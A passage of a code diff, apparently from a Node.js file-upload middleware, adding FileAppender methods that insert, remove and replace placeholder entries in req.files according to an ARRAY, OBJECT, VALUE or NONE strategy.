|
12
|
+
switch (strategy) {
|
|
13
|
+
case 'NONE': break
|
|
14
|
+
case 'VALUE': break
|
|
15
|
+
case 'ARRAY': req.files = []; break
|
|
16
|
+
case 'OBJECT': req.files = Object.create(null); break
|
|
17
|
+
default: throw new Error('Unknown file strategy: ' + strategy)
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
FileAppender.prototype.insertPlaceholder = function (file) {
|
|
22
|
+
var placeholder = {
|
|
23
|
+
fieldname: file.fieldname
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
switch (this.strategy) {
|
|
27
|
+
case 'NONE': break
|
|
28
|
+
case 'VALUE': break
|
|
29
|
+
case 'ARRAY': this.req.files.push(placeholder); break
|
|
30
|
+
case 'OBJECT':
|
|
31
|
+
if (this.req.files[file.fieldname]) {
|
|
32
|
+
this.req.files[file.fieldname].push(placeholder)
|
|
33
|
+
} else {
|
|
34
|
+
this.req.files[file.fieldname] = [placeholder]
|
|
35
|
+
}
|
|
36
|
+
break
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
return placeholder
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
FileAppender.prototype.removePlaceholder = function (placeholder) {
|
|
43
|
+
switch (this.strategy) {
|
|
44
|
+
case 'NONE': break
|
|
45
|
+
case 'VALUE': break
|
|
46
|
+
case 'ARRAY': arrayRemove(this.req.files, placeholder); break
|
|
47
|
+
case 'OBJECT':
|
|
48
|
+
if (this.req.files[placeholder.fieldname].length === 1) {
|
|
49
|
+
delete this.req.files[placeholder.fieldname]
|
|
50
|
+
} else {
|
|
51
|
+
arrayRemove(this.req.files[placeholder.fieldname], placeholder)
|
|
52
|
+
}
|
|
53
|
+
break
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
FileAppender.prototype.replacePlaceholder = function (placeholder, file) {
|
|
58
|
+
if (this.strategy === 'VALUE') {
|
|
59
|
+
this.req.file = file
|
|
60
|
+
return
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
delete placeholder.fieldname
|
|
64
|
+
objectAssign(placeholder, file)
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
module.exports = FileAppender
|